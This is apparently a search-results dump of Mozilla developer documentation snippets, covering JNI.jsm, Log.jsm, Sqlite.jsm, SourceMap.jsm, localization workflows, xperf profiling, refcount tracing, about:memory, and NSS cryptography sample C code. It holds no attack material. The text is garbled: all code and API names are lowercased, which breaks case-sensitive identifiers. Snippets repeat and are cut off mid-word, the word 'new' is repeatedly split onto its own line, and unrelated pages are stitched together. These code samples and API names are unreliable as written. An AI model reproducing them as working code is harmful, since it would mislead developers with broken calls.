newstring( ajenv, astr ); parameters ajenv the return value of getforthread(). astr a javascript string, use any encoding desired. return value blah blah readstring() blah blah string readstring( ajenv, ajavastring ); parameters ajenv the return value of getforthread(). ajavastring a cdata object that is a java string. return value a javascri...
...h); void .set(number aindex, cdata avalue); void .setelements(number astart, [array, size_is(arr.length > number anynumber > 0)] in cdata avalsarray); .get() gets the value of the element in the array at given aindex. cdata get(number aindex); parameters aindex the position in the array to obtain. return value returns primitive cdata. .getelements() returns a
new cdata object of the section of the array specified by astart and ending at position astart + alength. void setelements(number astart, number alength); parameters astart the position to start setting elements of the array in. alength the number of elements to copy from astart. if 0 is supplied, an empty cdata array is returned. return value a
new cdata array object based on the array. ...
... length number the number of elements in the array demonstration var my_jenv = null; try { my_jenv = jni.getforthread(); var sig = { string: 'ljava/lang/string;', int: 'i' }; jni.loadclass(my_jenv, '[' + sig.string); var stringarray = jni.classes.java.lang.string.array; // object { js#obj: cdata, js#proto: function (), __cast__: function (),
new: function () } var sa = stringarray.
new(5); // object { js#obj: cdata, length: 5 } jni.loadclass(my_jenv, '[' + sig.int); var intarray = jni.classes.int.array; // object { js#obj: cdata, js#proto: function (), __cast__: function (),
new: function () } var ia = intarray.
new(5); // object { js#obj: cdata, length: 5 } ia.get(0); // 0 ia.get(1); // 0 ia.get(2); // 0 ia.get(3); // 0 ...
Log.jsm
omponents.utils.import("resource://gre/modules/log.jsm"); // get a logger, give it a name unique to this chunk of code. // use dots to create a hierarchy, this way you can later change // the log level of sets of loggers under some common root let log = log.repository.getlogger("myextension.myclass"); log.level = log.level.debug; // a console appender logs to the browser console. ...
...resource://gre/modules/log.jsm"); // get a logger, give it a name unique to this chunk of code. // use dots to create a hierarchy, this way you can later change // the log level of sets of loggers under some common root let log = log.repository.getlogger("myextension.myclass"); log.level = log.level.debug; // a console appender logs to the browser console. ...
...is chunk of code. // use dots to create a hierarchy, this way you can later change // the log level of sets of loggers under some common root let log = log.repository.getlogger("myextension.myclass"); log.level = log.level.debug; // a console appender logs to the browser console. log.addappender(
new log.consoleappender(
new log.basicformatter())); // a dump appender logs to stdout. log.addappender(
new log.dumpappender(
new log.basicformatter())); // log some messages log.error("oh noes!! something bad happened!"); log.debug("details about bad thing only useful during debugging", {someinfo: "nothing"}); log.warn("here is an error",
new error("ouch")); logger levels fatal severe errors that cause premature termination. expect these to be immediately visible on a status console. ...
...rs(); and the methods mentioned below: logger methods loggerrepository(); length: 0 keys of prototype: getlogger(); rootlogger storagestreamappender(); length: 1 keys of prototype: doappend(); getinputstream();
newoutputstream(); outputstream reset(); structuredformatter(); length: 0 keys of prototype: format(); method overview enumerateinterfaces(); length: 0 enumerateproperties(); length: 2 member fields variable type descript...
PopupNotifications.jsm
should be searched. if null, the currently selected <xul:browser>'s notifications will be searched. return value the corresponding notification object, or null if no such notification exists. remove() removes the specified notification. void remove( notification notification ); parameters notification the notification object representing the notification to remove. show() adds a
new popup notification, displaying it to the user. notification show( browser, id, message, anchorid, mainaction, secondaryactions, options ); parameters browser the xul <xul:browser> element with which the notification is associated. this must not be null; you can, however, simply specify gbrowser.selectedbrowser to associate it with the current tab. id a unique id string for ...
...d. this must not be null; you can, however, simply specify gbrowser.selectedbrowser to associate it with the current tab. id a unique id string for the type of notification being displayed. for example, geolocation related notifications have the id "geolocation". only one notification for each id can be visible at a time; if one with the specified id already exists, it will be replaced with the
newer notification. message a string to display in the notification panel. anchorid the id of the element that should serve as the anchor for the notification popup (that is, the element the arrow on the popup should point to). if you specify null, the notification will be anchored to the popupnotification object's icon box. this anchorid must point to an element contained inside the popupnotific...
...t is, any time the popup is closed due to user interaction). popupiconurl a string specifying the url of the image to be displayed in the popup. this is normally specified in css using list-style-image and the .popup-notification-icon[popupid=...] selector. learnmoreurl a string url. setting this property will make the prompt display a "learn more" link that, when clicked, opens the url in a
new tab. notification events if you specify an event callback using the options parameter when calling show(), the callback function gets invoked when the state of the notification changes. the first parameter to the callback is a string identifying the state change, and may be one of the following: "dismissed" the notification has been dismissed by the user (for example, by clicking away or b...
... identifying the state change, and may be one of the following: "dismissed" the notification has been dismissed by the user (for example, by clicking away or by switching tabs). this is different from "removed", in that the notification can be redisplayed. "removed" the notification has been removed, either by the user taking action on the notification or by the browser being navigated to a
new location. "showing" the notification is about to be shown. the callback code can modify the notification message/actions if necessary during this notification. "shown" the notification has become visible. this can be fired multiple times as notifications are dismissed and redisplayed. the notification object each notification is represented by a notification object. this object contains al...
SourceMap.jsm
get a reference to the module: let sourcemap = {}; components.utils.import('resource:///modules/devtools/sourcemap.jsm', sourcemap); sourcemapconsumer a sourcemapconsumer instance represents a parsed source map which we can query for information about the original file positions by giving it a file position in the generated source.
new sourcemapconsumer(rawsourcemap) the only parameter is the raw source map (either as a string which can be json.parse'd, or an object). according to the spec, source maps have the following attributes: version: which version of the source map spec this map is following. sources: an array of urls to the original source files. names: an array of identifiers that can be referenced by individual mappings. sourceroot: optional. t...
...line: the line number in the original source, or null if this information is not available. column: the column number in the original source, or null if this information is not available. name: the original identifier, or null if this information is not available. sourcemapgenerator an instance of the sourcemapgenerator represents a source map which is being built incrementally.
new sourcemapgenerator(startofsourcemap) to create a
new one, you must pass an object with the following properties: file: the filename of the generated source that this source map is associated with. sourceroot: an optional root for all relative urls in this source map. sourcemapgenerator.prototype.addmapping(mapping) add a single mapping from original source line and column to the...
...erated to a string. sourcenode sourcenodes provide a way to abstract over interpolating and/or concatenating snippets of generated javascript source code, while maintaining the line and column information associated between those snippets and the original source code. this is useful as the final intermediate representation a compiler might use before outputting the generated js and source map.
new sourcenode(line, column, source[, chunk]) line: the original line number associated with this source node, or null if it isn't associated with an original line. column: the original column number associated with this source node, or null if it isn't associated with an original column. source: the original source's filename. chunk: optional. is immediately passed to sourcen...
...e string representation of this source node. walks over the tree and concatenates all the various snippets together to one string. sourcenode.prototype.tostringwithsourcemap(startofsourcemap) returns the string representation of this tree of source nodes, plus a sourcemapgenerator which contains all the mappings between the generated and original sources. the arguments are the same as those to
new sourcemapgenerator. ...
Sqlite.jsm
obtaining a connection sqlite.jsm exports the sqlite symbol. this symbol is an object with a single function: openconnection. this function takes an object defining connection options: path (required) the database file to open. this can be an absolute or relative path. if a relative path is given, it is interpreted as relative to the current profile's directory. if the path does not exist, a
new sqlite database will be created. the value typically ends with .sqlite. sharedmemorycache (optional) boolean indicating whether multiple connections to the database share the same memory cache. sharing the memory cache likely results in less memory utilization. however, sharing also requires connections to obtain a lock, possibly making database access slower. defaults to true. shrinkmemoryonc...
...is any time. this returns an integer count of the number of cached statements that were discarded. table and schema management these apis deal with management of tables and database schema. getschemaversion() the user-set version associated with the schema for the current database. if no schema version has been set, this will return the string "0". setschemaversion(value) sets value as the
new version associated with the schema for the current database. this is a wrapper around the pragma user_version statement. tableexists(name) this function determines whether a table exists in the current database. it returns a promise that is resolved with a boolean indicating whether the table exists. indexexists(name) this functions determines whether a named index exists in the current datab...
...se that is resolved when the statement has finished execution. when a statement is executed via executecached(), the prepared statement object is cached inside the opened connection. the next time this same sql statement is executed (the sql argument is identical to one passed in before), the old statement object is reused. this saves time associated with parsing the sql statement and creating a
new statement object. the downside is the cached statement object lingers in the opened connection, taking up memory. when a statement is executed via execute(), the underlying statement object is thrown away as soon as the statement finishes execution. executecached() is recommended for statements that will be executed many times. execute() is recommended for statements that will be executed seldo...
...s being committed in a deferred transaction (assuming the inserts proceed without error, of course). let's do an example where we want to force a transaction rollback. conn.executetransaction(async function complextransaction() { await conn.execute("insert into mytable values (?, ?)", ["foo", "bar"]); let data = await conn.execute("select * from mytable"); if (data.length < 5) { throw
new error("we don't have the expected 5 rows to perform the next operation!"); } // ... }); selecting and returning data these examples demonstrate how to access the data that is returned. this example shows multiple rows of a table being returned using the onrow function parameter. let accounts = []; let accountid, username; let statement = "select account_id, username from accounts or...
Webapps.jsm
t: function(amsg, amm) dolaunch: function (adata, amm) launch: function launch(amanifesturl, astartpoint, atimestamp, aonsuccess, aonfailure) close: function close(aapp) canceldownload: function canceldownload(amanifesturl, aerror) startofflinecachedownload: function(amanifest, aapp, aprofiledir, aisupdate) computemanifesthash: function(amanifest) updateapphandlers: function(aoldmanifest, a
newmanifest, aapp) checkforupdate: function(adata, amm) doinstall: function doinstall(adata, amm) doinstallpackage: function doinstallpackage(adata, amm) pushcontentaction: function(windowid) popcontentaction: function(windowid) actioncancelled: function(windowid) denyinstall: function(adata) _setupapp: function(adata, aid) _cloneapp: function(adata, a
newapp, alocalemanifest, amanifest, aid,...
...tion(windowid) denyinstall: function(adata) _setupapp: function(adata, aid) _cloneapp: function(adata, a
newapp, alocalemanifest, amanifest, aid, alocalid) _writemanifestfile: function(aid, aispackage, ajsonmanifest) _nextlocalid: function() _appidformanifesturl: function(auri) makeappid: function() _saveapps: function() _readmanifests: function(adata) _ensuresufficientstorage: function(a
newapp) _checkdownloadsize: function(afreebytes, a
newapp) _getrequestchannel: function(afullpackagepath, aislocalfileinstall, aoldapp,) _senddownloadprogressevent: function(a
newapp, aprogress) _getpackage: function(arequestchannel, aid, aoldapp, a
newapp) _computefilehash: function(afilepath) _sendappliedevent: function(aapp) _openandreadpackage: function(azipfile, aoldapp, a
newapp, aislocalfil...
...ogress) _getpackage: function(arequestchannel, aid, aoldapp, a
newapp) _computefilehash: function(afilepath) _sendappliedevent: function(aapp) _openandreadpackage: function(azipfile, aoldapp, a
newapp, aislocalfileinstall,) _openpackage: function(azipfile, aapp, aislocalfileinstall) _opensignedpackage: function(ainstallorigin, amanifesturl, azipfile, acertdb) _readpackage: function(aoldapp, a
newapp, aislocalfileinstall, aisupdate,) _checksignature: function(aapp, aissigned, aislocalfileinstall) _saveetag: function(aisupdate, aoldapp, arequestchannel, ahash, amanifest) _checkorigin: function(aissigned, aoldapp, amanifest, aisupdate) _getids: function(aissigned, azipreader, aconverter, a
newapp, aoldapp,) _checkforstoreidmatch: function(aisupdate, a
newapp, astoreid, astoreversion) rev...
...ksignature: function(aapp, aissigned, aislocalfileinstall) _saveetag: function(aisupdate, aoldapp, arequestchannel, ahash, amanifest) _checkorigin: function(aissigned, aoldapp, amanifest, aisupdate) _getids: function(aissigned, azipreader, aconverter, a
newapp, aoldapp,) _checkforstoreidmatch: function(aisupdate, a
newapp, astoreid, astoreversion) revertdownloadpackage: function(aid, aoldapp, a
newapp, aisupdate, aerror) uninstall: function(amanifesturl) _promptforuninstall: function(adata) confirmuninstall: function(adata) denyuninstall: function(adata, areason = "error_unknown_failure") getself: function(adata, amm) checkinstalled: function(adata, amm) getinstalled: function(adata, amm) getnotinstalled: function(adata, amm) geticon: function(adata, amm) getall: function(acallbac...
Localizing without a specialized tool
from the create a
new localization document, an interested localizer can follow a technical step-by-step process that starts the localization process by focusing on how to localize two of the primary types of localization files (dtd and properties) used in the mozilla source code. with that document, users can see immediately two localized files in their user interface by following closely and carefully the steps to create a language pack or a binary file that is ready for installation. repeating the process allows a localizer to create a testable package to see his or her work as they progress to a final version. ...
...ce by following closely and carefully the steps to create a language pack or a binary file that is ready for installation. repeating the process allows a localizer to create a testable package to see his or her work as they progress to a final version. if you choose to localize mozilla with nothing more than a text editing application and not a specialized tool, this document (along with create a
new localization) will enable you to learn just what needs to be done. before we start, did you make sure to install mercurial and confirm that you have set up the proper build environment on your local machine? you cannot begin localizing mozilla file by file without a specialized tool without going through the create a
new localization page. what we will translate we will translate a small piece o...
...arch.properties l10n-mozilla-1.9.2/x-testing/browser/chrome/browser/ open that file and translate the strings that follow the "=". for instance, enter the proper translation for the line "add %s" cmd_addfoundengine=add "%s" with these two string examples translated, you can now test your work to see immediately where you have translated. refer to the building and testing section of the create a
new localization page. going one-by-one with your compare-locales output open for review, we will start with the first file with "// add and localize this file" note. you should see // add and localize this file aboutcerterror.dtd notice from the compare-locales output that this file is located in the directory /browser/chrome/browser. you will want to copy this file from the en-us source...
...into it. type the command pwd again, make sure you are in /path/to/your/working/directory/l10n-mozilla-1.9.2/x-testing and then type the command mkdir /browser/chrome/browser now, copy the file by typing cp mozilla-1.9.2/browser/locales/chrome/browser/aboutcerterror.dtd l10n-mozilla-1.9.2/x-testing/browser/chrome/browser/aboutcerterror.dtd you should now see the aboutcerterror.dtd file in that
newly created directory. your compare locales output follows the exact nested source structure. each time you see a directory or set of sub-directories, you will need to run the mkdir command inside your locale directory and then copy the .dtd or .properties files into that directory. translating to start editing, you will need a text editing application. you can choose to use: notepad++ or notepa...
Localization technical reviews
we use this review process to perform quality assurance (qa) testing on your l10n efforts. this ensures that every user who downloads your localized mozilla application receives all of your hard work in a functional product. ...
...we use this review process to perform quality assurance (qa) testing on your l10n efforts. this ensures that every user who downloads your localized mozilla application receives all of your hard work in a functional product. ...
...date for migrating from one product release channel to the next (e.g., aurora to beta, or beta to release) is rapidly approaching. you need to make sure that your work can effectively be compiled into a build for the next release channel. here is a detailed overview of what a technical review is and who it's meant for: a technical review: is performed as a qa measure on a revision pushed to a
new locale's l10n aurora repo in mercurial. is very comprehensive and covers the entire product. focusses on technical accuracy and completion of l10n work, not translation quality. is only performed on the first revision a
new locale wants to have released to the public. must be approved prior to migrating your revision from aurora to beta. technical review evaluation criteria in principal, a...
...only evaluate the changes you're adding on top of this revision from release to release. here is some of the criteria we use to perform technical reviews: revision attachment contains only relevant files we run into exports that contain .xpi langpacks and other random files. make sure the top-level directory doesn't contain garbage. compare-locale we run the compare-locales tool on the
new locale to get the statistics on translation of strings and report basic errors. defines.inc the file for each app (like browser/defines.inc) contains the names of all contributors that a localization team would like to credit the work to. localizers can specify the team responsible for the work by listing the name just after the moz_langpack_creator. the team can also wrap contributors with <...
Setting up the infrastructure
first, make your project's file type decision (see localization formats for details): html/php .lang gettext (.po) assuming you chose gettext, you'll need to follow the steps below to set up the infrastructure for localizing your web application. requirements: php with gettext support, apache and some unix experience. create a
new branch for l10n (optional if starting a
new project). create a locale directory in your website (usually something like docroot/locale). copy the shell scripts from /addons/trunk/site/app/locale/ to your locale directory: extract-po.sh will be used to extract all english strings from your application's directories specified in source_dirs, merge the resulting template (*.pot) file with the existing (already containing translations) messag...
...mething like docroot/locale). copy the shell scripts from /addons/trunk/site/app/locale/ to your locale directory: extract-po.sh will be used to extract all english strings from your application's directories specified in source_dirs, merge the resulting template (*.pot) file with the existing (already containing translations) messages.po files for each locale (if they exist) and merge the
new messages.po files to messages.mo files. by default the script looks for gettext calls in *thtml or *.php files, so you may need to adjust that to your code. compile-mo.sh will only compile all locales' messages.po files to message.mo files. this is useful when a localizer submits a
new version of the messages.po file. on the staging server you can also choose to set up a cronjob that will run ...
... will run compile-mo.sh every n minutes. this way the localizers will be able to preview their changes almost in real-time. stats-po.sh will give you a bird's-eye view on the statistics of translated, fuzzy and missing strings for each locale. create en-us locale (locale/lc_messages/) in the locale folder. create an empty filed named messages.po in the locale/lc_messages folder. create
new locales by repeating steps 4 and 5 for each of them. review the english content following the web content localizability guidelines. review your code following the web applications localizability guidelines. run extract-po.sh. restart apache to reload gettext files (necessary for any text changes). merge the l10n branch back to main trunk (if the l10n branch was created in step 1). copy fil...
... web applications localizability guidelines. run extract-po.sh. restart apache to reload gettext files (necessary for any text changes). merge the l10n branch back to main trunk (if the l10n branch was created in step 1). copy files over to svn. set up the staging server. set up a cronjob to svn up every n minutes. set up a cronjob to run compile-mo.sh every m minutes. qa with
new locale. fix any layout issues. ...
What every Mozilla translator should know
discussion about localization take part here just as well as l10n-focused announcements. planning list also available as mozilla.dev.planning, .planning in short. the mozilla project discusses general planning and schedule questions here. ...
...p is the irc channel #l10n at irc.mozilla.org useful tools the l10n dashboard pontoon narro translate toolkit koala 0.1 mozillatranslator mercurial the hg is organized into several repositories, sometimes called branches. we have the main repository called mozilla-central (or trunk) where the day to day developing work is done. when a development is started for an specific version, a
new repository is created under hg.mozilla.org/releases/. all the content of the trunk is copied to this
new branch so that the developing work is done in two (or more) parallel places: the generic trunk and the version oriented branch(es). for every branch and every locale, there is a separate repository for localization files committed by the localizers. some branch/release names identified: ...
... or even all locales. when you create a bug, if you want the person in charge of the l10n to follow up your bug you should cc: l10n@mozilla.com if you choose to make changes to your localization, you should make the changes local to your disk, push them to your hg repository on merucial, test the changes on a nightly/tinderbox build, fix any errors if some are found and test again, and send the
new changeset id as your "opt-in" revisions to the l10-drivers. there is one exception to this process. if you choose to make any changes to the productization elements (i.e. search plugins, protocol handlers, rss/live bookmarks), you will need to upload a patch with the suggested changes to bugzilla and get approval before pushing those changes to your hg repository. do the changes in your loca...
...to this process. if you choose to make any changes to the productization elements (i.e. search plugins, protocol handlers, rss/live bookmarks), you will need to upload a patch with the suggested changes to bugzilla and get approval before pushing those changes to your hg repository. do the changes in your local disk create a diff file with the changes $ hg diff -p -u 8 filename create a
new bug: product: mozilla localization component: your language ... cc: l10n@mozilla.com assigned to: you explain what you need! specify the branch (1.9.2 for firefox 3.6, 1.9.2.1 for firefox 3.6.1, ...) attach the diff file to the bug: content type: patch mark the approval1.9.xxx with ? asking for approval (use the appropriate branch) if you get the approval you will see who_is_ap:appr...
Profiling with Xperf
to see your xperf version, either run 'xperf' on a command line with no arguments, or start 'xperfview' and look at help -> about performance analyzer. ...
...th all windows paths, the symbol path uses semicolons (;) as separators. make sure you select the trace -> load symbols menu option in the windows performance analyzer (xperfview). there seems to be a bug in xperf and symbols; it is very sensitive to when the symbol path is edited. if you change it within the program, you'll have to close all summary tables and reopen them for it to pick up the
new symbol path data. you'll have to agree to a eula for the microsoft symbols -- if you're not prompted for this, then something isn't configured right in your symbol path. (again, make sure that the directories exist; if they don't, it's a silent error.) quick start all these tools will live, by default, in c:\program files\microsoft windows performance toolkit. either run these commands from the...
...es lots of events, so you may want to play with the buffersize/minbuffers/maxbuffers options as well to ensure that you don't get dropped events. also, when recording the stack, i've found that a heap trace is often missing module information (i believe this is a bug in xperf). it's possible to get around that by doing a simultaneous capture of non-heap data. ...
.../maxbuffers options as well to ensure that you don't get dropped events. also, when recording the stack, i've found that a heap trace is often missing module information (i believe this is a bug in xperf). it's possible to get around that by doing a simultaneous capture of non-heap data. to start a trace session, launching a
new firefox instance: xperf -on base xperf -start heapsession -heap -pid
newprocess "./firefox.exe -p test -no-remote" -stackwalk heapalloc+heaprealloc -buffersize 512 -minbuffers 128 -maxbuffers 512 to stop a session and merge the resulting files: xperf -stop heapsession -d heap.etl xperf -d main.etl xperf -merge main.etl heap.etl result.etl "result.etl" will contain your merged data; you can delete main.etl and heap.etl. note that it's possible to capture even more da...
Refcount tracing and balancing
han addref()s have happened at the site. to build the balance tree, run tools/rb/make-tree.pl, specifying the object of interest. ...
...lance tree, run tools/rb/make-tree.pl, specifying the object of interest. for example: perl -w tools/rb/make-tree.pl --object 0x00253ab0 < my-leak.log this will build an indented tree that looks something like this (except probably a lot larger and leafier): .root: bal=1 main: bal=1 dosomethingwithfooandreturnittoo: bal=2 ns_
newfoo: bal=1 let's pretend in our toy example that ns_
newfoo() is a factory method that makes a
new foo and returns it. dosomethingwithfooandreturnittoo() is a method that munges the foo before returning it to main(), the main program. what this little tree is telling you is that you leak one refcount overall on object 0x00253ab0. but, more specifically, it shows you that: ns_
newfoo() "leaks" a refcount. this is probably "okay" because it's a factor...
...leaking one refcount. so from this, we can deduce that main() is correctly releasing the refcount that it got on the object returned from dosomethingwithfooandreturnittoo(), so the leak must be somewhere in that function. so now say we go fix the leak in dosomethingwithfooandreturnittoo(), re-run our trace, grovel through the log by hand to find the object that corresponds to 0x00253ab0 in the
new run, and run make-tree.pl. what we'd hope to see is a tree that looks like: .root: bal=0 main: bal=0 dosomethingwithfooandreturnittoo: bal=1 ns_
newfoo: bal=1 that is, ns_
newfoo() "leaks" a single reference count; this leak is "inherited" by dosomethingwithfooandreturnittoo(); but is finally balanced by a release() in main(). hints clearly, this is an iterative and analytical proc...
...e addref() is cancelled by another release() somewhere else in the code. so the game is to try to match them with one another. exclude functions. to aid in this process, you can create an "excludes file", that lists the name of functions that you want to exclude from the tree building process (presumably because you've matched them). make-tree.pl has an option --exclude [file], where [file] is a
newline-separated list of function names that will be excluded from consideration while building the tree. specifically, any call stack that contains that call site will not contribute to the computation of balance factors in the tree. how to instrument your objects for refcount tracing and balancing the process is the same as instrumenting them for bloatview, because bloatview and refcount tracing...
about:memory
paration to be used. how to generate memory reports let's assume that you want to measure firefox's memory usage. perhaps you want to investigate it yourself, or perhaps someone has asked you to use about:memory to generate "memory reports" so they can investigate a problem you are having. follow these steps. at the moment of interest (e.g. once firefox's memory usage has gotten high) open a
new tab and type "about:memory" into the address bar and hit "enter". if you are using a communication channel where files can be sent, such as bugzilla or email, click on the "measure and save..." button. this will open a file dialog that lets you save the memory reports to a file of your choosing. (the filename will have a .json.gz suffix.) you can then attach or upload the file appropriately. the...
...en gradually expand the sub-trees of interest. sections memory reports are displayed on a per-process basis, with one process per section. within each process's measurements, there are the following subsections. explicit allocations this section contains a single tree, called "explicit", that measures all the memory allocated via explicit calls to heap allocation functions (such as malloc and
new) and to non-heap allocations functions (such as mmap and virtualalloc). here is an example for a browser session where tabs were open to cnn.com, techcrunch.com, and arstechnica.com. various sub-trees have been expanded and others collapsed for the sake of presentation. 191.89 mb (100.0%) -- explicit ├───63.15 mb (32.91%) -- window-objects │ ├──24.57 mb (12.80%) -- top(http://...
... subsystems such as the startup cache and xpconnect. some add-on memory usage is identified, as the following example shows. ...
... some add-ons are identified by a name, such as tree style tab. others are identified only by a hexadecimal identifier. you can look in about:support t...
Profile Manager
s obsolete and no longer being maintained. see http://kb.mozillazine.org/profile_manager#accessing_the_profile_manager for an alternative method of managing profiles. firefox and other xulrunner applications store user settings and data in special folders, called profiles. firefox provides a built-in applet to manage these profiles, but it will eventually be going away (see bug 214675), so a
new standalone profile manager application has been created, which works with any xulrunner application, and has many features not found in firefox's built-in version. downloading binaries you can download profile manager builds from https://ftp.mozilla.org/pub/mozilla.org/utilities/profilemanager/1.0/ note: there is no installer; just extract the files from the archive. system requirements: ...
...with). additionally, you can manually add firefox versions by clicking the "manage firefox versions..." button: each firefox version in the list has the following properties: path, version, and default. the default property indicates that this version of firefox will be used with profiles that don't have a specific application version associated with them. creating a profile to create a
new profile, just click the
new button from profile manager's toolbar. a dialog will appear that allows you to specify the profile's name, and optionally the profile's path, and the version of firefox (or other application) that will be used with this profile: launching firefox with a profile to launch firefox with a specific profile, select the profile in the main window, and hit the "start...
... several additional launch options available for firefox. these cause firefox to be launched with various command-line arguments. see command line options for a description of these. launch option command line argument run firefox in offline mode -offline run firefox in safe mode -safe-mode start firefox with a console -console start
new instance -no-remote note: it isn't possible to start a second instance of firefox without passing it the -no-remote command line argument. for this reason, if you attempt to launch firefox using profile manager, and it detects that another instance of firefox is already running, it will automatically add the -no-remote argument for you, regardless of whether this launch option was chec...
.... other operations context-clicking any profile in the profile list will cause a popup menu to appear with the following commands: copy - makes a copy of the profile using a name and location of your choice. delete - deletes the profile, and all files associated with it. properties - shows a dialog that displays the profile's path and last-modified date. rename - allows you to specify a
new name for the profile. version - allows you change the default application version to be used with the profile. future enhancements ability to install/uninstall/enable/disable extensions in profiles. ability to copy certain assets (e.g., bookmarks) between profiles. add 'profile size' to the properties dialog. ability to reset a profile (return it to a default state excluding bookmarks ...
PR_CreateIOLayerStub
the file descriptor returned contains the pointer to the i/o methods table provided. the runtime neither modifies the table nor tests its correctness. the caller should override appropriate contents of the file descriptor returned before pushing it onto the protocol stack. ...
...the file descriptor returned contains the pointer to the i/o methods table provided. the runtime neither modifies the table nor tests its correctness. the caller should override appropriate contents of the file descriptor returned before pushing it onto the protocol stack. ...
...the file descriptor returned contains the pointer to the i/o methods table provided. the runtime neither modifies the table nor tests its correctness. the caller should override appropriate contents of the file descriptor returned before pushing it onto the protocol stack. ...
... syntax #include <prio.h> prfiledesc* pr_createiolayerstub( prdescidentity ident priomethods const *methods); parameters the function has the following parameters: ident the identity to be associated with the
new layer. methods a pointer to the priomethods structure specifying the functions for the
new layer. returns a
new file descriptor for the specified layer. description a
new layer may be allocated by calling pr_createiolayerstub. the file descriptor returned contains the pointer to the i/o methods table provided. the runtime neither modifies the table nor tests its correctness. the caller should override appropriate contents of the file descriptor returned before pushing it onto the protocol stack. ...
Cryptography functions
pk11_exportencryptedprivkeyinfo mxr 3.9 and later pk11_exportprivatekeyinfo mxr 3.2 and later pk11_finalize mxr 3.2 and later pk11_findbestkeamatch mxr 3.2 and later pk11_findcertandkeybyrecipientlist mxr 3.2 and later pk11_findcertandkeybyrecipientlist
new mxr 3.2 and later pk11_findcertbyissuerandsn mxr 3.2 and later pk11_findcertfromdercert mxr 3.2 and later pk11_findcertfromnickname mxr 3.2 and later pk11_findcertinslot mxr 3.2 and later pk11_findgenericobjects mxr 3.9.2 and later ...
....11 and later pk11_freesymkey mxr 3.2 and later pk11_generatefortezzaiv mxr 3.2 and later pk11_generatekeypair mxr 3.2 and later pk11_generatekeypairwithflags mxr 3.10.2 and later pk11_generatekeypairwithopflags mxr 3.12 and later pk11_generate
newparam mxr 3.2 and later pk11_generaterandom mxr 3.2 and later pk11_generaterandomonslot mxr 3.11 and later pk11_getalltokens mxr 3.2 and later pk11_getallslotsforcert mxr 3.12 and later pk11_getbestkeylength mxr 3.2 and later pk11_g...
...r pk11_isreadonly mxr 3.2 and later pk11_isremovable mxr 3.12 and later pk11_ivfromparam mxr 3.2 and later pk11_keygen mxr 3.2 and later pk11_linkgenericobject mxr 3.9.2 and later pk11_listcerts mxr 3.2 and later. updated 3.8 with
new options. see bug 215186 pk11_listfixedkeysinslot mxr 3.4 and later pk11_listprivkeysinslot mxr 3.4 and later pk11_listpublickeysinslot mxr 3.4 and later pk11_loadprivkey mxr 3.4 and later pk11_logoutall mxr 3.4 and later pk11_makekeapubkey ...
... sec_deletepermcrl mxr 3.2 and later sec_dersigndata mxr 3.2 and later sec_destroycrl mxr 3.2 and later sec_findcrlbydercert mxr 3.2 and later sec_findcrlbyname mxr 3.2 and later sec_lookupcrls mxr 3.2 and later sec_
newcrl mxr 3.2 and later sec_quickderdecodeitem mxr 3.6 and later seckey_cachestaticflags mxr 3.10 and later seckey_converttopublickey mxr 3.2 and later seckey_copyprivatekey mxr 3.2 and later seckey_copypublickey mxr 3.6 and later sec...
Encrypt Decrypt MAC Keys As Session Objects
secitem *citem, secitem *macitem, pk11symkey* ek, pk11symkey* mk, secitem *ivitem, secitem *paditem) { secstatus rv; prfiledesc* infile; prfiledesc* outfile; unsigned char decbuf[64]; unsigned int decbuflen; unsigned char ptext[blocksize]; unsigned int ptextlen = 0; unsigned char ctext[64]; unsigned int ctextlen; unsigned char
newmac[digestsize]; unsigned int
newmaclen = 0; unsigned int
newptextlen = 0; unsigned int count = 0; unsigned int temp = 0; unsigned int blocknumber = 0; secitem noparams = { sibuffer, null, 0 }; pk11context *ctxmac = null; pk11context *ctxenc = null; unsigne...
...temp = pr_write(outfile, decbuf, decbuflen); if (temp != decbuflen) { pr_fprintf(pr_stderr, "write error\n"); rv = secfailure; break; } /* save last block of ciphertext */ memcpy(iv, decbuf, decbuflen); ivlen = decbuflen; blocknumber++; } if (rv != secsuccess) { goto cleanup; } rv = macfinal(ctxmac,
newmac, &
newmaclen, sizeof(
newmac)); if (rv != secsuccess) { goto cleanup; } if (port_memcmp(macitem->data,
newmac,
newmaclen) == 0) { rv = secsuccess; } else { pr_fprintf(pr_stderr, "check mac : failure\n"); pr_fprintf(pr_stderr, "extracted : "); printashex(pr_stderr, macitem->data, macitem->len); pr_fprintf(pr_stderr, "computed : "); pri...
...zeof(
newmac)); if (rv != secsuccess) { goto cleanup; } if (port_memcmp(macitem->data,
newmac,
newmaclen) == 0) { rv = secsuccess; } else { pr_fprintf(pr_stderr, "check mac : failure\n"); pr_fprintf(pr_stderr, "extracted : "); printashex(pr_stderr, macitem->data, macitem->len); pr_fprintf(pr_stderr, "computed : "); printashex(pr_stderr,
newmac,
newmaclen); rv = secfailure; } cleanup: if (ctxmac) { pk11_destroycontext(ctxmac, pr_true); } if (ctxenc) { pk11_destroycontext(ctxenc, pr_true); } if (outfile) { pr_close(outfile); } return rv; } /* * gets iv and ckaids from header file */ secstatus getivandckaidsfromheader(const char *cipherfilename, secitem *iv...
...and an output file, * write a header to the output that identifies the two keys by * their cka_ids, may include original file name and length. ...
Encrypt and decrypt MAC using token
secitem *citem, secitem *macitem, pk11symkey* ek, pk11symkey* mk, secitem *ivitem, secitem *paditem) { secstatus rv; prfiledesc* infile; prfiledesc* outfile; unsigned char decbuf[64]; unsigned int decbuflen; unsigned char ptext[blocksize]; unsigned int ptextlen = 0; unsigned char ctext[64]; unsigned int ctextlen; unsigned char
newmac[digestsize]; unsigned int
newmaclen = 0; unsigned int
newptextlen = 0; unsigned int count = 0; unsigned int temp = 0; unsigned int blocknumber = 0; secitem noparams = { sibuffer, null, 0 }; pk11context *ctxmac = null; pk11context *ctxenc = null; unsigne...
...temp = pr_write(outfile, decbuf, decbuflen); if (temp != decbuflen) { pr_fprintf(pr_stderr, "write error\n"); rv = secfailure; break; } /* save last block of ciphertext */ memcpy(iv, decbuf, decbuflen); ivlen = decbuflen; blocknumber++; } if (rv != secsuccess) { goto cleanup; } rv = macfinal(ctxmac,
newmac, &
newmaclen, sizeof(
newmac)); if (rv != secsuccess) { goto cleanup; } if (port_memcmp(macitem->data,
newmac,
newmaclen) == 0) { rv = secsuccess; } else { pr_fprintf(pr_stderr, "check mac : failure\n"); pr_fprintf(pr_stderr, "extracted : "); printashex(pr_stderr, macitem->data, macitem->len); pr_fprintf(pr_stderr, "computed : "); pri...
...zeof(
newmac)); if (rv != secsuccess) { goto cleanup; } if (port_memcmp(macitem->data,
newmac,
